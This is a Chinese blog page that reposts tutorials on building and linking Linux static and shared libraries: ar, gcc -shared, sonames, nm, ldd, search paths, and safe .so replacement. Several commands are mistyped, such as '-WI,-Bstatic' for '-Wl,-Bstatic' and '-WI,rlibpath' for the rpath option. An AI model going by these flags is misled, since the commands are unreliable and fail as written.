上面的选项(-lmkl)就相当于让编译器gcc到文本文件libmkl.a指定的静态库文件中寻找.o文件进行链接,而不用人工地将每个静态库地址都输进行。查找.o对象文件的顺序从左到右,所以应该将最低层的静态库放到最右边,把需要调用右边库里的对象的库放到左边,否则会出现找不到对象文件,导致报函数没定义的错误。

posted @ 2013-01-04 16:54 tqsheng 阅读(4406) | 评论 (0)编辑 收藏

关于Unix静态库和动态库的分析

关于Unix静态库和动态库的分析

基本概念

库有动态与静态两种,动态通常用.so为后缀,静态用.a为后缀。 例如:libhello.so libhello.a

为了在同一系统中使用不同版本的库,可以在库文件名后加上版本号为后缀,例如: libhello.so.1.0,由于程序连接默认以.so为文件后缀名。所以为了使用这些库,通常使用建立符号连接的方式。

ln -s libhello.so.1.0 libhello.so.1
ln -s libhello.so.1 libhello.so

1、使用库

当要使用静态的程序库时,连接器会找出程序所需的函数,然后将它们拷贝到执行文件,由于这种拷贝是完整的,所以一旦连接成功,静态程序库也就不再需要了。 然而,对动态库而言,就不是这样。动态库会在执行程序内留下一个标记指明当程序执行时,首先必须载入这个库。由于动态库节省空间,linux下进行连接的 缺省操作是首先连接动态库,也就是说,如果同时存在静态和动态库,不特别指定的话,将与动态库相连接。

现在假设有一个叫hello的程序开发包,它提供一个静态库libhello.a 一个动态库libhello.so,一个头文件hello.h,头文件中提供sayhello()这个函数

/* hello.h */
void sayhello();

另外还有一些说明文档。

这一个典型的程序开发包结构 与动态库连接 linux默认的就是与动态库连接,下面这段程序testlib.c使用hello库中的sayhello()函数

/*testlib.c*/
#include "hello.h"
int main()
{
    sayhello();
    return 0;
}

使用如下命令进行编译

$gcc -c testlib.c -o testlib.o

用如下命令连接:

$gcc testlib.o -lhello -o testlib

连接时要注意,假设libhello.so 和libhello.a都在缺省的库搜索路径下/usr/lib下,如果在其它位置要加上-L参数。与静态库连接麻烦一些,主要是参数问题。还是上面的例 子:

$gcc testlib.o -o testlib -WI,-Bstatic -lhello

注:这个特别的”-WI,-Bstatic”参数,实际上是传给了连接器ld. 指示它与静态库连接,如果系统中只有静态库当然就不需要这个参数了。如果要和多个库相连接,而每个库的连接方式不一样,比如上面的程序既要和 libhello进行静态连接,又要和libbye进行动态连接,其命令应为:

$gcc testlib.o -o testlib -WI,-Bstatic -lhello -WI,-Bdynamic -lbye

2、动态库的路径问题

为了让执行程序顺利找到动态库,有三种方法:

  1. 把库拷贝到/usr/lib和/lib目录下。
  2. 在LD_LIBRARY_PATH环境变量中加上库所在路径。例如动态库 libhello.so在/home/ting/lib目录下,以bash为例,使用命令: $export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/home/ting/lib
  3. 修改/etc/ld.so.conf文件,把库所在的路径加到文件末尾,并执行ldconfig刷新。这样,加入的目录下的所有库文件都可见。

3、查看库中的符号

有时候可能需要查看一个库中到底有哪些函数,nm工具可以打印出库中的涉及到的所有符号。库既可以是静态的也可以是动态的。nm列出的符号有很多, 常见的有三种,一种是在库中被调用,但并没有在库中定义(表明需要其他库支持),用U表示;一种是库中定义的函数,用T表示,这是最常见的;另外一种是所 谓的“弱态”符号,它们虽然在库中被定义,但是可能被其他库中的同名符号覆盖,用W表示。例如,假设开发者希望知道上文提到的hello库中是否引用了 printf():

$nm libhello.so | grep printf U

其中printf U表示符号printf被引用,但是并没有在函数内定义,由此可以推断,要正常使用hello库,必须有其它库支持,再使用ldd工具查看hello依赖于哪些库:

$ldd hello
libc.so.6=>/lib/libc.so.6(0x400la000)
/lib/ld-linux.so.2=>/lib/ld-linux.so.2 (0x40000000)

从上面的结果可以继续查看printf最终在哪里被定义,有兴趣可以go on

4、生成库

第一步要把源代码编绎成目标代码。以下面的代码为例,生成上面用到的hello库:

/* hello.c */
#include "hello.h"
void sayhello()
{
    printf("hello,world ");
}

用gcc编绎该文件,在编绎时可以使用任何合法的编绎参数,例如-g加入调试代码等:

$gcc -c hello.c -o hello.o

1.连接成静态库 连接成静态库使用ar工具,其实ar是archive的意思

$ar cqs libhello.a hello.o

2.连接成动态库 生成动态库用gcc来完成,由于可能存在多个版本,因此通常指定版本号:

$gcc -shared -Wl,-soname,libhello.so.1 -o libhello.so.1.0 hello.o

另外再建立两个符号连接:

$ln -s libhello.so.1.0 libhello.so.1
$ln -s libhello.so.1 libhello.so

这样一个libhello的动态连接库就生成了。最重要的是传gcc -shared 参数使其生成是动态库而不是普通执行程序。 -Wl 表示后面的参数也就是-soname,libhello.so.1直接传给连接器ld进行处理。实际上,每一个库都有一个soname,当连接器发现它正 在查找的程序库中有这样一个名称,连接器便会将soname嵌入连结中的二进制文件内,而不是它正在运行的实际文件名,在程序执行期间,程序会查找拥有 soname名字的文件,而不是库的文件名,换句话说,soname是库的区分标志。这样做的目的主要是允许系统中多个版本的库文件共存,习惯上在命名库 文件的时候通常与soname相同 libxxxx.so.major.minor 其中,xxxx是库的名字,major是主版本号,minor 是次版本号

总结

通过对LINUX库工作的分析,我们已经可以理解程序运行时如何去别的地方寻找“库”。

附上针对这个工程的Makefile:

# xiejingquan@gmail.com
# export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:~/C/lib

BIN_DIR=bin
LIB_DIR=lib
INC_DIR=inc
SRC_DIR=src

BIN=${BIN_DIR}/testlib
LIB=${LIB_DIR}/libhello.a ${LIB_DIR}/libhello.so

CC=gcc
AR=ar
DOC=doxygen

CFLAGS=-g -Wall -c -Iinc
LFLAGS=-lhello -L${LIB_DIR} -o
ARFLAGS=cqs
SOFLAGS=-shared -Wl,-soname,

all: ${BIN}

lib: ${LIB}

run: all
@./bin/testlib

clean:
rm -f ${BIN_DIR}/* ${LIB_DIR}/*

${BIN_DIR}/testlib: ${LIB_DIR}/testlib.o ${LIB}
${CC} $< ${LFLAGS} $@

${LIB_DIR}/testlib.o: ${SRC_DIR}/testlib.c ${INC_DIR}/hello.h
${CC} ${CFLAGS} $< -o $@

${LIB_DIR}/libhello.a: ${LIB_DIR}/hello.o
${AR} ${ARFLAGS} $@ $<

${LIB_DIR}/libhello.so: ${LIB_DIR}/hello.o
${CC} ${SOFLAGS}libhello.so.1 -o ${LIB_DIR}/libhello.so.1.0 ${LIB_DIR}/hello.o
ln -s ${LIB_DIR}/libhello.so.1.0 ${LIB_DIR}/libhello.so.1
ln -s ${LIB_DIR}/libhello.so.1 ${LIB_DIR}/libhello.so

${LIB_DIR}/hello.o: ${SRC_DIR}/hello.c ${INC_DIR}/hello.h
${CC} ${CFLAGS} $< -o $@

附上文件的目录结构:

|– bin
| `– testlib
|– doc
|– inc
| `– hello.h
|– lib
| |– hello.o
| |– libhello.a
| |– libhello.so -> lib/libhello.so.1
| |– libhello.so.1 -> lib/libhello.so.1.0
| |– libhello.so.1.0
| `– testlib.o
|– src
| |– hello.c
| `– testlib.c


说来也巧了,今天刚好在twitter上看到某大牛的推:

 

Linux下动态链接库的查找顺序:①DT_RPATH、②LD_LIBRARY_PATH环境变量、③/etc/ld.so.conf文件及/etc/ld.so.cond.d/目录内的*.conf文件、④默认路径/usr/lib,如果改动了/etc/ld.so.conf 需要使用 /sbin/ldconfig –v 来更新系统。


延伸阅读:

 

  1. linux动态链接库的使用;
  2. linux 下链接库的生成使用;

本文来源:http://hi.baidu.com/fengmang0451/blog/item/0e74df1d3e22e000304e15ae.html

Printed from: http://xiaobin.net/200911/analytics-on-unix-static-and-dynamic-library/ .
© XiaoBiN.net 2013.

Trackbacks/Pingbacks

  1. 关于Unix静态库和动态库的分析基本概念 | EvilCode 邪恶代码

posted @ 2013-01-04 16:40 tqsheng 阅读(136) | 评论 (0)编辑 收藏

Linux下静态库_库的基本概念;如何生成静态库动态库;nm查看库中包含那些函数、ar生成静态库,查看库中包含那些.o文件、ldd查看程序依赖的.so文件;gcc/g++与库相关的参数-L,-l,-fPIC,-shared;静态库链接时搜索过程;动态库链接时,加载时搜索的过程;动态库找不到的问题;动态库升级步骤

Linux下静态库_库的基本概念;如何生成静态库动态库;nm查看库中包含那些函数、ar生成静态库,查看库中包含那些.o文件、ldd查看程序依赖的.so文件;gcc/g++与库相关的参数-L,-l,-fPIC,-shared;静态库链接时搜索过程;动态库链接时,加载时搜索的过程;动态库找不到的问题;动态库升级步骤

2010-11-23 10:47:45| 分类: Linux系统编程 | 标签: |字号 订阅

一、基本概念

1.1、什么是库

在 windows 平台和 linux 平台下都大量存在着库。

本质上来说库是 一种可执行代码的二进制形式,可以被操作系统载入内存执行

由于 windows 和 linux 的平台不同(主要是编译器、汇编器和连接器 的不同),因此二者库的二进制是不兼容的。

本文仅限于介绍 linux 下的库。

 

1.2、 库的种类

linux 下的库有两种:静态库和共享库(动态库)。

二者的不同点在于代码被载入的时刻不同。

静态库的代码在编译过程中已经被载入可执行程序,因此体积较大。

静态用.a为后缀, 例如: libhello.a

共享库(动态库)的代码是在可执行程序运行时才载入内存的,在编译过程中仅简单的引用,因此代码体积较小。

动态通常用.so为后缀, 例如:libhello.so

共享库(动态库)的好处是,不同的应用程序如果调用相同的库,那么在内存里只需要有一份该共享库的实例。

为了在同一系统中使用不同版本的库,可以在库文件名后加上版本号为后缀,例如: libhello.so.1.0,由于程序连接默认以.so为文件后缀名。所以为了使用这些库,通常使用建立符号连接的方式。

ln -s libhello.so.1.0 libhello.so.1 ln -s libhello.so.1 libhello.so

1.3、静态库,动态库文件在linux下是如何生成的:
以下面的代码为例,生成上面用到的hello库:
/* hello.c */  
#include "hello.h"  
void sayhello()  
{      
    printf("hello,world ");  
}

首先用gcc编绎该文件,在编绎时可以使用任何合法的编绎参数,例如-g加入调试代码等:

$gcc -c hello.c -o hello.o

1、生成静态库 生成静态库使用ar工具,其实ar是archive的意思

$ar cqs libhello.a hello.o

2、生成动态库 用gcc来完成,由于可能存在多个版本,因此通常指定版本号:

$gcc -shared -o libhello.so.1.0 hello.o
 
1.4、库文件是如何命名的,有没有什么规范: 
在 linux 下,库文件一般放在/usr/lib和/lib下, 
静态库的名字一般为libxxxx.a,其中 xxxx 是该lib的名称;
动态库的名字一般为libxxxx.so.major.minor,xxxx 是该lib的名称,major是主版本号,minor是副版本号 
 
1.5、可执行程序在执行的时候如何定位共享库(动态库)文件 :
    当系统加载可执行代码(即库文件)的时候,能够知道其所依赖的库的名字,但是还需要知道绝对路径,此时就需要系统动态载入器 (dynamic linker/loader) 
    对于 elf 格式的可执行程序,是由 ld-linux.so* 来完成的,它先后搜索 elf 文件的 DT_RPATH 段—环境变量LD_LIBRARY_PATH—/etc/ld.so.cache 文件列表— /lib/,/usr/lib 目录找到库文件后将其载入内存
    如: export LD_LIBRARY_PATH=’pwd’ 
将当前文件目录添加为共享目录
 
1.6、使用ldd工具,查看可执行程序依赖那些动态库或着动态库依赖于那些动态库
   ldd 命令可以查看一个可执行程序依赖的共享库, 
    例如 # ldd /bin/lnlibc.so.6 
        => /lib/libc.so.6 (0×40021000)/lib/ld-linux.so.2 
        => /lib/ld- linux.so.2 (0×40000000) 
    可以看到 ln 命令依赖于 libc 库和 ld-linux 库 
 
1.7、使用nm工具,查看静态库和动态库中有那些函数名(T类表示函数是当前库中定义的,U类表示函数是被调用的,在其它库中定义的,W类是当前库中定义,被其它库中的函数覆盖)。
    有时候可能需要查看一个库中到底有哪些函数,nm工具可以打印出库中的涉及到的所有符号,这里的库既可以是静态的也可以是动态的。

nm列出的符号有很多, 常见的有三种::

一种是在库中被调用,但并没有在库中定义(表明需要其他库支持),用U表示

一种是在库中定义的函数,用T表示,这是最常见的

另外一种是所 谓的“弱态”符号,它们虽然在库中被定义,但是可能被其他库中的同名符号覆盖,用W表示

例如,假设开发者希望知道上文提到的hello库中是否引用了 printf():

    $nm libhello.so | grep printf 

发现printf是U类符号,说明printf被引用,但是并没有在库中定义。

由此可以推断,要正常使用hello库,必须有其它库支持,使用ldd工具查看hello依赖于哪些库:

$ldd hello libc.so.6=>/lib/libc.so.6(0x400la000) /lib/ld-linux.so.2=>/lib/ld-linux.so.2 (0x40000000)

从上面的结果可以继续查看printf最终在哪里被定义,有兴趣可以go on

1.8、使用ar工具,可以生成静态库,同时可以查看静态库中包含那些.o文件,即有那些源文件构成

可以使用 ar -t libname.a 来查看一个静态库由那些.o文件构成。

可以使用 ar q libname.a xxx1.o xxx2.o xxx3.o ... xxxn.o 生成静态库

 
Linux下进行程序设计时,关于库的使用:
 
一、gcc/g++命令中关于库的参数:
-shared: 该选项指定生成动态连接库(让连接器生成T类型的导出符号表,有时候也生成弱连接W类型的导出符号),不用该标志外部程序无法连接。相当于一个可执行文件
-fPIC:表示编译为位置独立(地址无关)的代码,不用此选项的话,编译后的代码是位置相关的,所以动态载入时,是通过代码拷贝的方式来满足不同进程的需要,而不能达到真正代码段共享的目的。
-L:指定链接库的路径,-L. 表示要连接的库在当前目录中
-ltest:指定链接库的名称为test,编译器查找动态连接库时有隐含的命名规则,即在给出的名字前面加上lib,后面加上.so来确定库的名称
LD_LIBRARY_PATH:这个环境变量指示动态连接器可以装载动态库的路径
当然如果有root权限的话,可以修改/etc/ld.so.conf文件,然后调用 /sbin/ldconfig来达到同样的目的,
   不过如果没有root权限,那么只能采用修改LD_LIBRARY_PATH环境变量的方法了。 
调用动态库的时候,有几个问题会经常碰到:
    1、有时,明明已经将库的头文件所在目录 通过 “-I” include进来了,库所在文件通过 “-L”参数引导,并指定了“-l”的库名,但通过ldd命令察看时,就是死活找不到你指定链接的so文件,这时你要作的就是通过修改 LD_LIBRARY_PATH或者/etc/ld.so.conf文件来指定动态库的目录。通常这样做就可以解决库无法链接的问题了。
 
二、静态库链接时搜索路径的顺序: 
1. ld会去找gcc/g++命令中的参数-L;
2. 再找gcc的环境变量LIBRARY_PATH,它指定程序静态链接库文件搜索路径;
      export LIBRARY_PATH=$LIBRARY_PATH:data/home/billchen/lib 
3. 再找默认库目录 /lib /usr/lib /usr/local/lib,这是当初compile gcc时写在程序内的。
   
三、动态链接时、执行时搜索路径顺序: 
1. 编译目标代码时指定的动态库搜索路径;
    2. 环境变量LD_LIBRARY_PATH指定动态库搜索路径,它指定程序动态链接库文件搜索路径;
      export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:data/home/billchen/lib 
3. 配置文件/etc/ld.so.conf中指定的动态库搜索路径;
4. 默认的动态库搜索路径/lib;
5. 默认的动态库搜索路径/usr/lib。
 
四、静态库和动态链接库同时存在的问题:
   当一个库同时存在静态库和动态库时,比如libmysqlclient.a和libmysqlclient.so同时存在时:
    在Linux下,动态库和静态库同事存在时,gcc/g++的链接程序,默认链接的动态库。

可以使用下面的方法,给连接器传递参数,看是否链接动态库还是静态库。

-WI,-Bstatic -llibname //指定让gcc/g++链接静态库

使用:

gcc/g++ test.c -o test -WI,-Bstatic -llibname

-WI,-Bdynamic -llibname //指定让gcc/g++链接动态库

使用:

gcc/g++ test.c -o test -WI,-Bdynamic -llibname

如果要完全静态加在,使用-static参数,即将所有的库以静态的方式链入可执行程序,这样生成的可执行程序,不再依赖任何库,同事出现的问题是,这样编译出来的程序非常大,占用空间。

 
五、有关环境变量: 
LIBRARY_PATH环境变量:指定程序静态链接库文件搜索路径
LD_LIBRARY_PATH环境变量:指定程序动态链接库文件搜索路径
 
六、动态库升级问题:
   在动态链接库升级时,
不能使用cp newlib.so oldlib.so,这样有可能会使程序core掉;
而应该使用:
rm oldlib.so 然后 cp newlib.so oldlib.so
或者
mv oldlib.so oldlib.so_bak 然后 cp newlib.so oldlib.so


为什么不能用cp newlib.so oldlib.so ?

在替换so文件时,如果在不停程序的情况下,直接用 cp new.so old.so 的方式替换程序使用的动态库文件会导致正在运行中的程序崩溃。

 

解决方法:

解决的办法是采用“rm+cp” 或“mv+cp” 来替代直接“cp” 的操作方法。

linux系统的动态库有两种使用方法:运行时动态链接库,动态加载库并在程序控制之下使用。

 

1、为什么在不停程序的情况下,直接用 cp 命令替换程序使用的 so 文件,会使程序崩溃?
很多同学在工作中遇到过这样一个问题,在替换 so 文件时,如果在不停程序的情况下,直接用cp new.so old.so的方式替换程序使用的动态库文件会导致正在运行中的程序崩溃,退出。

这与 cp 命令的实现有关,cp 并不改变目标文件的 inode,cp 的目标文件会继承被覆盖文件的属性而非源文件。实际上它是这样实现的:
strace cp libnew.so libold.so 2>&1 |grep open.*lib.*.so
open("libnew.so", O_RDONLY|O_LARGEFILE) = 3
open("libold.so", O_WRONLY|O_TRUNC|O_LARGEFILE) = 4
在 cp 使用“O_WRONLY|O_TRUNC” 打开目标文件时,原 so 文件的镜像被意外的破坏了这样动态链接器 ld.so 不能访问到 so 文件中的函数入口。从而导致 Segmentation fault,程序崩溃。ld.so 加载 so 文件及“再定位”的机制比较复杂。

 

2、怎样在不停止程序的情况下替换so文件,并且保证程序不会崩溃?
答案是采用“rm+cp” 或“mv+cp” 来替代直接“cp” 的操作方法。

在用新的so文件 libnew.so 替换旧的so文件 libold.so 时,如果采用如下方法:
rm libold.so //如果内核正在使用libold.so,那么inode节点不会立刻别删除掉。
cp libnew.so libold.so
采用这种方法,目标文件 libold.so 的 inode 其实已经改变了,原来的 libold.so 文件虽然不能用 ”ls”查看到,但其 inode 并没有被真正删除,直到内核释放对它的引用。

(即: rm libold.so,此时,如果ld.so正在加在libold.so,内核就在引用libold.so的inode节点,rm libold.so的inode并没有被真正删除,当ld.so对libold.so的引用结束,inode才会真正删除。这样程序就不会崩溃,因为它还在使用旧的libold.so,当下次再使用libold.so时,已经被替换,就会使用新的libold.so)

同理,mv只是改变了文件名,其 inode 不变,新文件使用了新的 inode。这样动态链接器 ld.so 仍然使用原来文件的 inode 访问旧的 so 文件。因而程序依然能正常运行。

(即: mv libold.so ***后,如果程序使用动态库,还是使用旧的inode节点,当下次再使用libold.so时,就会使用新的libold.so)


到这里,为什么直接使用“cp new_exec_file old_exec_file”这样的命令时,系统会禁止这样的操作,并且给出这样的提示“cp: cannot create regular file `old': Text file busy”。这时,我们采用的办法仍然是用“rm+cp”或者“mv+cp”来替代直接“cp”,这跟以上提到的so文件的替换有同样的道理


但是,为什么系统会阻止 cp 覆盖可执行程序,而不阻止覆盖 so 文件呢

这是因为 Linux 有个 Demand Paging 机制,所谓“Demand Paging”,简单的说,就是系统为了节约物理内存开销,并不会程序运行时就将所有页(page)都加载到内存中,而只有在系统有访问需求时才将其加载。“Demand Paging”要求正在运行中的程序镜像注意,并非文件本身不被意外修改因此内核在启动程序后会锁定这个程序镜像的 inode

对于 so 文件,它是靠 ld.so 加载的,而ld.so毕竟也是用户态程序,没有权利去锁定inode,也不应与内核的文件系统底层实现耦合

posted @ 2013-01-04 16:38 tqsheng 阅读(8181) | 评论 (0)编辑 收藏

指定使用静态库

Linux动态链接库的问题_静态库、动态链接库同时存在时,gcc/g++默认用动态库,参数-WI,-Bstatic指定使用静态库,参数-WI,-Bdynamic指定使用动态库\编译OK,运行找不到的问题_解决-WI,rlibpathname  

2011-03-11 14:30:23|  分类: Linux系统编程|字号 订阅

1、在Linux下,动态库和静态库同事存在时,gcc/g++的链接程序,默认链接的动态库。

                 可以使用下面的方法,给连接器传递参数,看是否链接动态库还是静态库。

          

                -WI,-Bstatic             -llibname                                   //指定让gcc/g++链接静态库

使用:

                gcc/g++   test.c -o test      -WI,-Bstatic     -llibname

         

              -WI,-Bdynamic       -llibname                                    //指定让gcc/g++链接动态库

使用:

               gcc/g++   test.c -o test    -WI,-Bdynamic        -llibname

 

               如果要完全静态加在,使用-static参数,即将所有的库以静态的方式链入可执行程序,这样生成的可执行程序,不再依赖任何库,同事出现的问题是,这样编译出来的程序非常大,占用空间。

 

         

 

2、Linux下动态库为什么会出现编译OK,运行时找不到的情况。

                  原因是:

                          linux下链接器默认是不记录库的搜索路径的,只记录名字,所以才会有编译时OK,但运行时,找不到的情况。

                解决方法:

                         想在程序中记录路径,可以使用-WI,-rlibpath指定动态库的搜索路径。

                         使用方法。

                          gcc/g++    test.c   -o test   -WI,rlibpath   -llibname

 

3、关于Linux下库的更多问题,可以参看:

                自己的博客:   http://blog.163.com/xychenbaihu@yeah/blog/static/13222965520101023104745738/

               http://xiaobin.net/200911/analytics-on-unix-static-and-dynamic-library/ 

posted @ 2013-01-04 16:32 tqsheng 阅读(4141) | 评论 (0)编辑 收藏

仅列出标题
共25页: 1 2 3 4 5 6 7 8 9 Last